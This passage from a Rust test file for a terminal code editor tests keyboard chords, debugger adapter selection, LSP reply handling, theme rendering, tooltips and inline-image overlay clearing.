    // bake (whose layout the hit-test reads) is gated on both.
    app.cell_pixel = Some((10, 20));
    app.inline_protocol = crate::iterm2_inline::InlineImageProtocol::Kitty;
    app.editor.open_pinned(&pdf).unwrap();
    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|frame| app.render(frame)).unwrap();
    let layout = app.overlays.editor[0]
        .layout()
        .expect("rendering a PDF tab bakes the image overlay")
        .clone();
    let image = app.editor.image.as_ref().unwrap();
    let (px_w, px_h) = (image.pixel_w, image.pixel_h);
    // The link's text run "go to two" sits around (0.22, 0.47) of the page
    // (measured: x 30..103 of 300, y 62..79 of 150 in pdftohtml space).
    // Find the screen cell covering that point instead of hardcoding one,
    // so the test survives font-metric drift across poppler versions.
    let (mut col, mut row) = (0u16, 0u16);
    'outer: for r in 0..layout.cell_h {
        for c in 0..layout.cell_w {
            if let Some((x0, y0, x1, y1)) = crate::iterm2_inline::cell_source_fraction(
                (c, r),
                (10, 20),
                (layout.cell_w, layout.cell_h),
                (px_w, px_h),
            ) && x0 <= 0.22
                && 0.22 < x1
                && y0 <= 0.47
                && 0.47 < y1
            {
                (col, row) = (layout.cell_x + c, layout.cell_y + r);
                break 'outer;
            }
        }
    }
    assert!(col > 0, "some cell must cover the link's page position");
    assert_eq!(app.editor.pdf_page(), Some(1));
    app.handle_mouse(mouse(MouseEventKind::Down(MouseButton::Left), col, row));
    assert_eq!(
        app.editor.pdf_page(),
        Some(2),
        "clicking the internal link must flip the preview to page 2; status: {}",
        app.status
    );
}

#[test]
fn cmd_k_shift_enter_debugs_instead_of_running_the_test_at_cursor() {
    // The Shift arm must precede the plain-Enter run arm, or the chord
    // silently RUNS the test it was asked to DEBUG.
    let tmp = tempfile::tempdir().unwrap();
    let f = tmp.path().join("t.rs");
    std::fs::write(&f, "#[test]\nfn my_case() { assert!(true); }\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&f).unwrap();
    app.editor.cursor_row = 1;
    assert!(app.handle_cmd_k_chord(key(KeyCode::Enter, KeyModifiers::SHIFT)));
    // The tmp root has no manifest, so the debug path reports the missing
    // runner — the run path would have said "Running test my_case".
    assert_eq!(app.status, "No test runner detected in this workspace");
    assert!(
        !app.testing.is_busy(),
        "the debug chord must not start a run"
    );
}

#[test]
fn cmd_k_h_chords_fire_call_hierarchy_requests() {
    // Cmd+K H asks for incoming calls, Cmd+K Shift+H for outgoing; both
    // must arm the request id so the drain can match the reply.
    let tmp = tempfile::tempdir().unwrap();
    let f = tmp.path().join("a.py");
    std::fs::write(&f, "def target():\n    pass\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&f).unwrap();
    assert!(app.handle_cmd_k_chord(key(KeyCode::Char('h'), KeyModifiers::NONE)));
    let first = app
        .call_hierarchy_request_id
        .expect("incoming request armed");
    assert!(app.handle_cmd_k_chord(key(KeyCode::Char('H'), KeyModifiers::SHIFT)));
    let second = app
        .call_hierarchy_request_id
        .expect("outgoing request armed");
    assert!(second > first, "each chord fires a fresh request");
}

#[test]
fn cmd_k_shift_u_and_d_fire_type_hierarchy_requests() {
    // #613: Shift+U asks for supertypes, Shift+D for subtypes, and neither
    // falls through to the plain U / D arms (close saved tabs, etc.).
    let tmp = tempfile::tempdir().unwrap();
    let f = tmp.path().join("a.py");
    std::fs::write(&f, "class A:\n    pass\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&f).unwrap();
    assert!(app.handle_cmd_k_chord(key(KeyCode::Char('U'), KeyModifiers::SHIFT)));
    let first = app.call_hierarchy_request_id.expect("supertypes armed");
    // CSI-u hosts report Shift+D as a lowercase char with SHIFT.
    assert!(app.handle_cmd_k_chord(key(KeyCode::Char('d'), KeyModifiers::SHIFT)));
    let second = app.call_hierarchy_request_id.expect("subtypes armed");
    assert!(second > first);
    assert_eq!(
        app.editor.tab_count(),
        1,
        "the tab survived: no close arm ran"
    );
}

#[test]
fn a_late_call_hierarchy_reply_does_not_clobber_an_open_menu() {
    // rust-analyzer can answer seconds later; if the user opened another
    // menu while waiting, the reply must be dropped, not replace what they
    // are looking at (and yank focus to the editor).
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let items = vec![(
        String::from("caller — a.rs:1"),
        MenuAction::GoToLocation {
            path: tmp.path().join("a.rs"),
            line: 0,
            col: 0,
        },
    )];
    let other = ContextMenu::flat((1, 1), items.clone(), tmp.path().to_path_buf());
    app.context_menu = Some(other);
    let menu_before = app.context_menu.as_ref().map(|m| m.items.len());
    app.present_call_hierarchy_menu(items, "incoming calls");
    assert_eq!(
        app.context_menu.as_ref().map(|m| m.items.len()),
        menu_before,
        "an open menu survives a late reply"
    );
    assert_eq!(app.status, "Call hierarchy ready, but another menu is open");
    // With no menu open, the reply presents normally.
    app.context_menu = None;
    app.present_call_hierarchy_menu(
        vec![(
            String::from("caller — a.rs:1"),
            MenuAction::GoToLocation {
                path: tmp.path().join("a.rs"),
                line: 0,
                col: 0,
            },
        )],
        "incoming calls",
    );
    assert!(
        app.context_menu.is_some(),
        "a free slot presents the picker"
    );
    assert_eq!(app.status, "1 incoming calls");
}

#[test]
fn a_late_location_picker_reply_does_not_clobber_an_open_menu() {
    // Go to Implementations / References share the async-reply shape with
    // call hierarchy: the LSP can answer seconds later, and the picker must
    // not replace a menu the user opened while waiting.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let items = vec![(
        String::from("a.rs:1"),
        MenuAction::GoToLocation {
            path: tmp.path().join("a.rs"),
            line: 0,
            col: 0,
        },
    )];
    app.context_menu = Some(ContextMenu::flat(
        (1, 1),
        items.clone(),
        tmp.path().to_path_buf(),
    ));
    let menu_before = app.context_menu.as_ref().map(|m| m.items.len());
    app.open_location_picker(vec![(tmp.path().join("a.rs"), 0, 0)], "references");
    assert_eq!(
        app.context_menu.as_ref().map(|m| m.items.len()),
        menu_before,
        "an open menu survives a late reply"
    );
    assert_eq!(app.status, "Locations ready, but another menu is open");
    // With no menu open, the reply presents normally.
    app.context_menu = None;
    app.open_location_picker(vec![(tmp.path().join("a.rs"), 0, 0)], "references");
    assert!(
        app.context_menu.is_some(),
        "a free slot presents the picker"
    );
    assert_eq!(app.status, "1 references");
}

#[test]
fn a_workspace_change_cancels_the_pending_test_debug_build() {
    // The drain already refuses to launch a binary whose build root no
    // longer matches, but the occupied slot also kept refusing NEW builds
    // ("A test binary is already building") until the stale compile
    // finished. Re-rooting must free the slot immediately.
    let tmp = tempfile::tempdir().unwrap();
    let inner = tmp.path().join("inner");
    std::fs::create_dir(&inner).unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let (_tx, rx) = std::sync::mpsc::channel();
    app.pending_test_debug = Some((rx, String::from("my_case"), tmp.path().to_path_buf()));
    app.change_workspace_root(inner);
    assert!(
        app.pending_test_debug.is_none(),
        "re-rooting drops the in-flight build so a new one can start"
    );
}

#[test]
fn popup_gradient_tracks_black_theme() {
    // Popups/menus/tooltips wear the gradient + muted selection only under the
    // Black theme; Croft Dark keeps the legacy bright-blue accent so it stays
    // coherent with that theme's blue focus border.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.theme = crate::theme::Theme::BLACK;
    assert!(app.popup_gradient());
    app.theme = crate::theme::Theme::DARK_BLUE;
    assert!(!app.popup_gradient());
}

#[test]
fn run_spec_for_runs_an_executable_binary_directly() {
    use std::os::unix::fs::PermissionsExt;
    let tmp = tempfile::tempdir().unwrap();
    // An extensionless file with the +x bit is runnable: run it directly.
    let bin = tmp.path().join("myapp");
    std::fs::write(&bin, b"#!/bin/sh\necho hi\n").unwrap();
    std::fs::set_permissions(&bin, std::fs::Permissions::from_mode(0o755)).unwrap();
    let spec = App::run_spec_for(&bin, tmp.path()).expect("executable must be runnable");
    assert_eq!(spec.program, bin.to_string_lossy());
    assert!(spec.args.is_empty(), "the binary is run with no extra args");

    // A non-executable, unknown file (like .git/config) is not runnable.
    let cfg = tmp.path().join("config");
    std::fs::write(&cfg, b"[core]\n").unwrap();
    assert!(App::run_spec_for(&cfg, tmp.path()).is_none());
}

#[test]
fn debug_stop_immediately_deactivates_the_run_debug_panel() {
    // Repro: Shift+F5 tore down the session but left the panel showing the
    // stale "Paused" tree, because poll_dap early-returns with no session and
    // never refreshes. debug_stop must refresh the panel itself.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // Simulate a paused panel.
    app.run_debug.debug_active = true;
    app.run_debug.feedback = Some("Paused (breakpoint)".into());
    app.run_debug.debug_rows = vec![crate::widgets::run_debug::DebugRow {
        indent: 0,
        kind: crate::widgets::run_debug::DebugRowKind::Header {
            title: "CALL STACK".into(),
        },
    }];
    app.debug_stop();
    assert!(
        !app.run_debug.debug_active,
        "panel must deactivate the instant the session stops"
    );
    assert!(
        app.run_debug.debug_rows.is_empty(),
        "stale call-stack/variables rows must be cleared on stop"
    );
    assert!(
        app.run_debug.feedback.is_none(),
        "stale 'Paused' feedback must be cleared so the empty state is clean"
    );
}

#[test]
fn lldb_dap_rank_prefers_unversioned_then_highest_version() {
    // The Linux bug: lldb-dap ships under versioned names (`lldb-dap-18`) with
    // no unversioned symlink, so resolution must rank candidates rather than
    // only matching the bare `lldb-dap` name.
    // Non-matches return None.
    assert_eq!(lldb_dap_rank("lldb"), None);
    assert_eq!(lldb_dap_rank("lldb-dap-"), None);
    assert_eq!(lldb_dap_rank("lldb-dapper"), None);
    assert_eq!(lldb_dap_rank("clangd"), None);

    // Every real adapter name ranks.
    let unversioned = lldb_dap_rank("lldb-dap").expect("bare name must rank");
    let v18 = lldb_dap_rank("lldb-dap-18").expect("versioned name must rank");
    let v17 = lldb_dap_rank("lldb-dap-17").expect("versioned name must rank");
    let legacy_v18 = lldb_dap_rank("lldb-vscode-18").expect("legacy name must rank");

    // The unversioned binary wins outright (it tracks the system default).
    assert!(
        unversioned > v18,
        "unversioned lldb-dap outranks any versioned"
    );
    // Among versioned binaries, the newer LLVM release wins.
    assert!(v18 > v17, "lldb-dap-18 outranks lldb-dap-17");
    // At equal version, the modern `lldb-dap` name beats legacy `lldb-vscode`.
    assert!(
        v18 > legacy_v18,
        "lldb-dap-18 is preferred over the legacy lldb-vscode-18 name"
    );
}

#[test]
fn lldb_dap_missing_message_is_platform_appropriate() {
    // Regression: Linux users saw "install Xcode Command Line Tools", which is
    // nonsense off macOS. The hint must match the host's package manager.
    let msg = lldb_dap_missing_message();
    assert!(
        msg.contains("lldb-dap not found"),
        "message must name the missing adapter: {msg}"
    );
    if cfg!(target_os = "macos") {
        assert!(
            msg.contains("Xcode"),
            "macOS hint should mention Xcode: {msg}"
        );
    } else {
        assert!(
            !msg.contains("Xcode"),
            "non-macOS hint must not mention Xcode: {msg}"
        );
    }
}

#[test]
fn f5_failure_reaches_the_status_bar_when_run_debug_panel_is_hidden() {
    // Repro (remote Linux with no lldb-dap installed): pressing F5 on a file
    // croft can't debug wrote the reason ONLY into the Run/Debug panel's
    // feedback line, which renders solely while that sidebar is the active
    // view. With the Explorer focused the message landed nowhere, so F5 looked
    // like it did nothing. Every debug-start failure must also reach the
    // always-visible status bar. Exercised here via the platform-independent
    // "no adapter for this file type" branch (the lldb-missing branch shares
    // the same surfacing path but can't be reproduced on a dev Mac, where the
    // Xcode lldb-dap is always present).
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let file = tmp.path().join("notes.txt");
    std::fs::write(&file, b"hi\n").unwrap();
    app.editor.path = Some(file);
    app.set_sidebar_view(SidebarView::Explorer);

    app.debug_start_or_continue();

    assert!(
        app.status.contains("No debugger"),
        "F5 failure must explain itself in the status bar, not just the hidden panel: {}",
        app.status
    );
}

#[test]
fn run_debug_icon_clears_when_a_paused_session_takes_over_the_panel() {
    // Repro (Run/Debug panel already open when F5 starts a session, as seen on
    // a remote): the empty-state debug icon is an OSC-1337 inline image. When
    // the panel flips to the paused call-stack tree the widget stops re-emitting
    // it (last_icon_cell = None), but text drawn over an inline image does NOT
    // evict it, so the icon ghosted on top of the call stack. The flush must arm
    // a one-shot terminal clear whenever a previously-emitted icon is no longer
    // shown — the same eviction the welcome/hero overlays use.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.show_tree = true;
    app.set_sidebar_view(SidebarView::RunDebug);
    app.overlays
        .run_debug
        .set_image("\x1b]1337;File=inline=1:AAAA\x07".to_string());
    app.overlays.run_debug.mark_emitted_at((5, 5));
    // A paused session now owns the panel: render draws the tree, not the icon.
    app.run_debug.last_icon_cell = None;

    app.flush_run_debug_icon_overlay();

    assert!(
        app.consume_run_debug_image_clear(),
        "a one-shot terminal clear must be armed to evict the ghosted debug icon"
    );
    assert!(
        !app.overlays.run_debug.was_emitted(),
        "emitted-position tracking must reset so the clear fires exactly once"
    );
}

#[test]
fn black_theme_context_menu_uses_gradient_border_and_muted_selection() {
    use crate::gradient::{GRAD_TL, POPUP_SEL_BG, rgb_color};
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.theme = crate::theme::Theme::BLACK;
    app.context_menu = Some(ContextMenu::flat(
        (10, 10),
        vec![
            (
                String::from("New File"),
                MenuAction::Create(CreateKind::File),
            ),
            (
                String::from("New Folder"),
                MenuAction::Create(CreateKind::Folder),
            ),
        ],
        tmp.path().to_path_buf(),
    ));
    let backend = ratatui::backend::TestBackend::new(140, 50);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let buf = term.backend().buffer();
    // The menu's top-left corner carries the gradient's TL colour, not blue.
    assert_eq!(buf[(10, 10)].fg, rgb_color(GRAD_TL));
    // The selected (first) row sits on the muted dark-teal fill.
    assert_eq!(buf[(11, 11)].bg, rgb_color(POPUP_SEL_BG));
}

#[test]
fn black_theme_status_bar_is_near_black_not_navy() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.theme = crate::theme::Theme::BLACK;
    let backend = ratatui::backend::TestBackend::new(140, 50);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let buf = term.backend().buffer();
    let last_y = buf.area.height - 1;
    let near_black = Color::Rgb(0x18, 0x18, 0x18);
    let navy = Color::Rgb(0x1e, 0x3a, 0x6e);
    assert!(
        (0..buf.area.width).any(|x| buf[(x, last_y)].bg == near_black),
        "status bar should paint the near-black seam under the Black theme"
    );
    assert!(
        !(0..buf.area.width).any(|x| buf[(x, last_y)].bg == navy),
        "status bar must not keep the legacy navy under the Black theme"
    );
}

#[test]
fn resting_on_an_activity_icon_arms_its_button_hint() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // Render once so the activity-bar icon rectangles are populated.
    let backend = ratatui::backend::TestBackend::new(140, 50);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let icon = app.sidebar_areas.search_icon;
    let (cx, cy) = (icon.x + icon.width / 2, icon.y);
    app.on_mouse_moved(cx, cy, false);
    assert_eq!(
        app.ui_tooltip_label,
        Some("Search"),
        "hovering the Search activity-bar icon arms its hint label"
    );
    // Moving onto inert space clears the armed hint.
    app.on_mouse_moved(cx, icon.y + 200, false);
    assert_eq!(app.ui_tooltip_label, None);
}

#[test]
fn chrome_tooltip_paints_in_the_sidebar_not_clamped_into_the_editor() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // A compact hint anchored over an activity-bar cell (far-left column).
    app.ui_tooltip = Some(crate::widgets::hover_popup::HoverPopup::new_compact(
        "Search".into(),
        (2, 6),
    ));
    let backend = ratatui::backend::TestBackend::new(140, 50);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let buf = term.backend().buffer();
    // The popup's own background must appear in the far-left region near the
    // anchor. The regression: it rendered against the editor's focused_area,
    // which starts well to the right, so nothing painted over the sidebar.
    let popup_bg = Color::Rgb(0x1e, 0x21, 0x2a);
    let painted = (0..20).any(|x| (0..12).any(|y| buf[(x, y)].bg == popup_bg));
    assert!(
        painted,
        "the chrome tooltip must paint near its sidebar anchor, not be clamped into the editor"
    );
    // ...and it must NOT paint over the activity-bar columns, whose inline-image
    // icons composite above text and would hide the tooltip's left edge.
    let over_bar = (0..ACTIVITY_BAR_WIDTH).any(|x| (0..50).any(|y| buf[(x, y)].bg == popup_bg));
    assert!(
        !over_bar,
        "the tooltip must be shifted clear of the activity-bar image column"
    );
}

#[test]
fn tooltip_repaints_over_the_hero_without_hiding_it() {
    // The Run-and-Debug activity-icon hint flips up onto the centered no-repo
    // hero illustration. The illustration must STAY (it's an OSC-1337 image),
    // and the tooltip is re-painted on top of it post-draw. The fix must never
    // clear/hide the hero just because a tooltip overlaps it.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.sidebar_view = SidebarView::SourceControl;
    app.cell_pixel = Some((8, 16));
    let backend = ratatui::backend::TestBackend::new(63, 50);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    assert!(!app.source_control.status.in_repo, "tempdir is not a repo");
    let hero = app.source_control.last_hero_area;
    assert!(hero.width > 0 && hero.height > 0, "hero must be laid out");
    assert_eq!(
        app.active_sidebar_image_rect(),
        Some(hero),
        "the no-repo hero is the active sidebar illustration"
    );

    // A tooltip box squarely over the hero: the hero must keep painting (no
    // clear requested), and the overlapping repaint path must engage.
    app.ui_tooltip = Some(crate::widgets::hover_popup::HoverPopup::new_compact(
        "Run and Debug".into(),
        (hero.x, hero.y),
    ));
    app.ui_tooltip_area = Some(hero);
    app.flush_no_repo_hero_overlay();
    app.flush_tooltip_over_image();
    assert!(
        !app.consume_no_repo_hero_image_clear(),
        "the hero must NOT be hidden/cleared when a tooltip overlaps it"
    );

    // No active illustration in a repo, so nothing to repaint over.
    app.source_control.status.in_repo = true;
    assert_eq!(
        app.active_sidebar_image_rect(),
        None,
        "a repo workspace shows no hero, so there is no image to overlay"
    );
}

#[test]
fn sidebar_header_actions_are_tooltipped_per_view() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let cell = |x| Rect {
        x,
        y: 1,
        width: 2,
        height: 1,
    };

    // Explorer toolbar (the icons in Image #1: new file / new folder / refresh /
    // collapse, plus the ⋯ views menu).
    app.sidebar_view = SidebarView::Explorer;
    app.tree.header_new_file_btn = cell(20);
    app.tree.header_new_folder_btn = cell(23);
    app.tree.header_refresh_btn = cell(26);
    app.tree.header_collapse_btn = cell(29);
    app.tree.header_views_btn = cell(32);
    assert_eq!(app.ui_tooltip_at(20, 1), Some("New File"));
    assert_eq!(app.ui_tooltip_at(23, 1), Some("New Folder"));
    assert_eq!(app.ui_tooltip_at(26, 1), Some("Refresh Explorer"));
    assert_eq!(
        app.ui_tooltip_at(29, 1),
        Some("Collapse Folders in Explorer")
    );
    assert_eq!(app.ui_tooltip_at(32, 1), Some("Views and More Actions"));

    // Remote Explorer header (the + / refresh in Image #2/#3).
    app.sidebar_view = SidebarView::Remote;
    app.remote.header_add_btn = cell(20);
    app.remote.header_refresh_btn = cell(23);
    assert_eq!(
        app.ui_tooltip_at(20, 1),
        Some("Open SSH Configuration File")
    );
    assert_eq!(app.ui_tooltip_at(23, 1), Some("Refresh"));

    // Source Control header refresh.
    app.sidebar_view = SidebarView::SourceControl;
    app.source_control.header_refresh_btn = cell(20);
    assert_eq!(app.ui_tooltip_at(20, 1), Some("Refresh"));

    // A view's stored rects go inert once another view is showing, so the
    // Remote add button at col 20 must not leak its hint into Explorer.
    app.sidebar_view = SidebarView::Explorer;
    assert_eq!(app.ui_tooltip_at(23, 1), Some("New Folder"));
}

fn dummy_activity_images() -> ActivityBarImages {
    let s = || String::from("\x1b]1337;File=inline=1:Zm9v\x07");
    ActivityBarImages {
        explorer_active: s(),
        explorer_inactive: s(),
        explorer_hovered: s(),
        search_active: s(),
        search_inactive: s(),
        search_hovered: s(),
        source_control_active: s(),
        source_control_inactive: s(),
        source_control_hovered: s(),
        remote_active: s(),
        remote_inactive: s(),
        remote_hovered: s(),
        run_debug_active: s(),
        run_debug_inactive: s(),
        run_debug_hovered: s(),
        extensions_active: s(),
        extensions_inactive: s(),
        extensions_hovered: s(),
        testing_active: s(),
        testing_inactive: s(),
        testing_hovered: s(),
        codeql_active: s(),
        codeql_inactive: s(),
        codeql_hovered: s(),
        settings_active: s(),
        settings_inactive: s(),
        settings_hovered: s(),
        layout_sidebar_on: s(),
        layout_sidebar_on_hover: s(),
        layout_sidebar_off: s(),
        layout_sidebar_off_hover: s(),
        layout_panel_on: s(),
        layout_panel_on_hover: s(),
        layout_panel_off: s(),
        layout_panel_off_hover: s(),
        layout_customize: s(),
        layout_customize_hover: s(),
    }
}

#[test]
fn format_diagnostics_labels_each_message_and_sorts_errors_first() {
    use crate::lsp::manager::DiagnosticSeverity;
    let diags = vec![
        (DiagnosticSeverity::Warning, String::from("unused variable")),
        (DiagnosticSeverity::Error, String::from("type mismatch")),
    ];
    assert_eq!(
        format_diagnostics(&diags),
        Some(String::from(
            "Error: type mismatch\n\nWarning: unused variable"
        )),
        "errors must come before warnings and each line is labelled by severity"
    );
    assert_eq!(
        format_diagnostics(&[]),
        None,
        "no diagnostics must produce no block"
    );
}

#[test]
fn compose_hover_puts_the_diagnostic_above_the_type_info() {
    // VS Code (PR microsoft/vscode#166560) renders marker hovers on top.
    assert_eq!(
        compose_hover(Some("Error: type mismatch"), Some("const x: number")),
        Some(String::from(
            "Error: type mismatch\n────────\nconst x: number"
        )),
        "the diagnostic block sits above the language hover, divided by a rule"
    );
    assert_eq!(
        compose_hover(Some("Error: type mismatch"), None),
        Some(String::from("Error: type mismatch")),
        "a diagnostic with no type info shows on its own"
    );
    assert_eq!(
        compose_hover(None, Some("const x: number")),
        Some(String::from("const x: number")),
        "type info with no diagnostic shows on its own"
    );
    assert_eq!(
        compose_hover(None, None),
        None,
        "nothing to show means no popup"
    );
}

#[test]
fn hovering_a_diagnostic_on_punctuation_shows_its_message_synchronously() {
    use crate::lsp::manager::{Diagnostic, DiagnosticSeverity};
    use ratatui::layout::Rect;
    let tmp = tempfile::tempdir().unwrap();
    let f = tmp.path().join("dot.ts");
    std::fs::write(&f, "a.b\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // Stand the editor up directly: the `.` at char 1 is not a word, so this
    // path never depends on a language server being attached.
    app.editor.path = Some(f.clone());
    app.editor.lines = vec![String::from("a.b")];
    app.editor.last_inner = Rect {
        x: 0,
        y: 0,
        width: 80,
        height: 25,
    };
    app.editor.last_gutter_width = 2;
    app.editor.apply_diagnostics(
        f,
        vec![Diagnostic {
            start_line: 0,
            start_char: 1,
            end_line: 0,
            end_char: 2,
            severity: DiagnosticSeverity::Error,
            message: String::from("unexpected token"),
        }],
    );
    // text_x = x(0) + gutter(2) + 1 = 3, so cell col 4 is char 1 (the `.`).
    app.hover_at_cell(4, 0);
    let popup = app
        .hover_popup
        .as_ref()
        .expect("hovering a squiggle must surface a popup even without an LSP reply");
    assert_eq!(
        popup.lines,
        vec![String::from("Error: unexpected token")],
        "the popup must carry the diagnostic's severity and message"
    );
}

/// Stand up an app with a real file open in the editor and one frame
/// rendered (so every `last_*` rect is live), returning a cell inside the
/// editor body for tap-hover tests.
fn app_with_open_file_and_editor_cell() -> (App, tempfile::TempDir, u16, u16) {
    let tmp = tempfile::tempdir().unwrap();
    let f = tmp.path().join("m.py");
    std::fs::write(&f, "value = compute()\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&f).unwrap();
    let backend = ratatui::backend::TestBackend::new(100, 30);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|frame| app.render(frame)).unwrap();
    let col = app.editor.last_inner.x + app.editor.last_gutter_width as u16 + 3;
    let row = app.editor.last_inner.y + 1;
    assert!(
        rect_contains(app.editor.last_area, col, row),
        "test cell must land inside the editor body"
    );
    (app, tmp, col, row)
}

/// Every cell of `pane`'s own `last_area`, row-major.
///
/// ONE walk. The column derivation in it was wrong once, and a second copy is
/// a second place to fix it. `hyperlink_at_screen` and `line_text_at` both
/// hit-test `last_inner`, which this rect contains, and answer `None` outside
/// it, so nothing yielded here is a cell a click could not reach.
fn cells_of(pane: &crate::widgets::terminal::PtyTerminal) -> impl Iterator<Item = (u16, u16)> {
    let area = pane.last_area;
    (area.y..area.y + area.height)
        .flat_map(move |r| (area.x..area.x + area.width).map(move |c| (c, r)))
}

/// The first grid cell of `pane` that falls INSIDE the first occurrence of
/// `needle` on its row, searched row-major over the pane's own `last_area`
/// (#397).
///
/// A test that prints something into a pane and then clicks it must not assume
/// which row it landed on: the pane runs a REAL shell whose prompt races the
/// feed, so the row is a property of machine load rather than of the test.
/// Callers anchor on the exact text they printed, so unrelated output cannot
/// satisfy the search.
fn cell_carrying(pane: &crate::widgets::terminal::PtyTerminal, needle: &str) -> Option<(u16, u16)> {
    cells_of(pane).find(|&(c, r)| {
        // The cell must be ON the needle, not merely on a ROW containing
        // it. `line_text_at` hands back the whole row plus the char index
        // under the cell, and every column maps to an index (blanks
        // included), so a `text.contains` test succeeds at the row's FIRST
        // inner column whatever the needle's position. These fixtures print
        // at column 0, which hid it; a row like `bash-5.2$ some_token`
        // would have matched and clicked the `b`.
        //
        // A click lands on a cell, not a row, so the span is the claim.
        pane.line_text_at(c, r).is_some_and(|(text, idx)| {
            text.find(needle).is_some_and(|byte_start| {
                let start = text[..byte_start].chars().count();
                (start..start + needle.chars().count()).contains(&idx)
            })
        })
    })
}

/// The first grid cell of `pane` carrying an OSC 8 link to exactly `uri`,
/// searched row-major over the pane's own `last_area` (#397).
///
/// The URI is the anchor rather than "any link", so a decoy printed beside the
/// payload cannot satisfy the search. Below [`cell_carrying`] rather than
/// above it: inserting an item over a `///` block hands that block to the
/// newcomer, which is what happened here once already.
fn cell_with_link(pane: &crate::widgets::terminal::PtyTerminal, uri: &str) -> Option<(u16, u16)> {
    cells_of(pane).find(|&(c, r)| pane.hyperlink_at_screen(c, r).as_deref() == Some(uri))
}

/// `cell_carrying` returns a cell INSIDE the needle, not the row's first cell.
///
/// The refinement has exactly one red state in the suite, and it is a
/// downstream word-selection assertion in another test, so it does not
/// depend on that one test surviving: the helper's own doc records that the
/// column derivation in it was wrong once.
///
/// Placed beside the two helpers rather than in the block it was first
/// written in, which was some 35,000 lines away and made "beside the
/// helper" a claim the file did not support. Below `cell_with_link`
/// rather than between the two: inserting above a `///` block hands that
/// block to the newcomer, which this file has been bitten by twice.
#[test]
fn cell_carrying_lands_inside_the_needle_not_at_the_start_of_its_row() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let area = app.terminals[0].last_area;
    assert!(
        area.width > 4 && area.height > 2,
        "the terminal must be laid out, or the search finds nothing and the \
         failure below blames a missing token rather than a missing pane"
    );

    // The needle is NOT at column 0: a shell-shaped prefix in front of it is
    // what separates a span predicate from a row-level `contains`, which
    // would resolve the `b` of `bash-5.2$` instead.
    app.terminals[0].feed_bytes_for_test(b"a prompt got here first\r\nbash-5.2$ tok_here\r\n");
    term.draw(|f| app.render(f)).unwrap();

    let (col, row) =
        cell_carrying(&app.terminals[0], "tok_here").expect("the pane must show this test's token");
    let (text, idx) = app.terminals[0]
        .line_text_at(col, row)
        .expect("the returned cell must map to a row and a char index");
    let start = text
        .find("tok_here")
        .map(|b| text[..b].chars().count())
        .expect("the row the search returned must carry the needle");
    assert!(
        (start..start + "tok_here".chars().count()).contains(&idx),
        "the cell must fall inside the needle: row {text:?} put the cell at \
         char {idx} and the needle spans {start}..{}",
        start + "tok_here".chars().count()
    );
    assert!(
        idx > 0,
        "and this fixture must keep the needle off column 0, or a row \
         predicate and a span predicate pick the same cell and the assertion \
         above cannot fail"
    );
}

fn mouse(
    kind: crossterm::event::MouseEventKind,
    col: u16,
    row: u16,
) -> crossterm::event::MouseEvent {
    crossterm::event::MouseEvent {
        kind,
        column: col,
        row,
        modifiers: KeyModifiers::NONE,
    }
}

/// A tree app, rendered, so `tree.last_area` is populated and a click can be
/// aimed at a real cell.
fn tree_app_with_keymap(json: &str) -> (App, tempfile::TempDir) {
    let tmp = tempfile::tempdir().unwrap();
    let f = tmp.path().join("a.rs");
    std::fs::write(&f, "let name = value;\nfn main() {}\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // An open buffer, so a click in the editor region resolves to it. Without
    // one there is no editor to hit and the gesture falls through.
    app.editor.open_pinned(&f).unwrap();
    app.keymap = crate::keymap::Keymap::from_json(json);
    let backend = ratatui::backend::TestBackend::new(100, 30);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|frame| app.render(frame)).unwrap();
    (app, tmp)
}

#[test]
fn a_bound_gesture_runs_its_command() {
    // The headline claim of #259, driven end to end: a gesture in
    // keybindings.json reaches `run_command`. Everything else in this file
    // tested the parser or the tracker in isolation.
    use crossterm::event::{MouseButton, MouseEventKind};
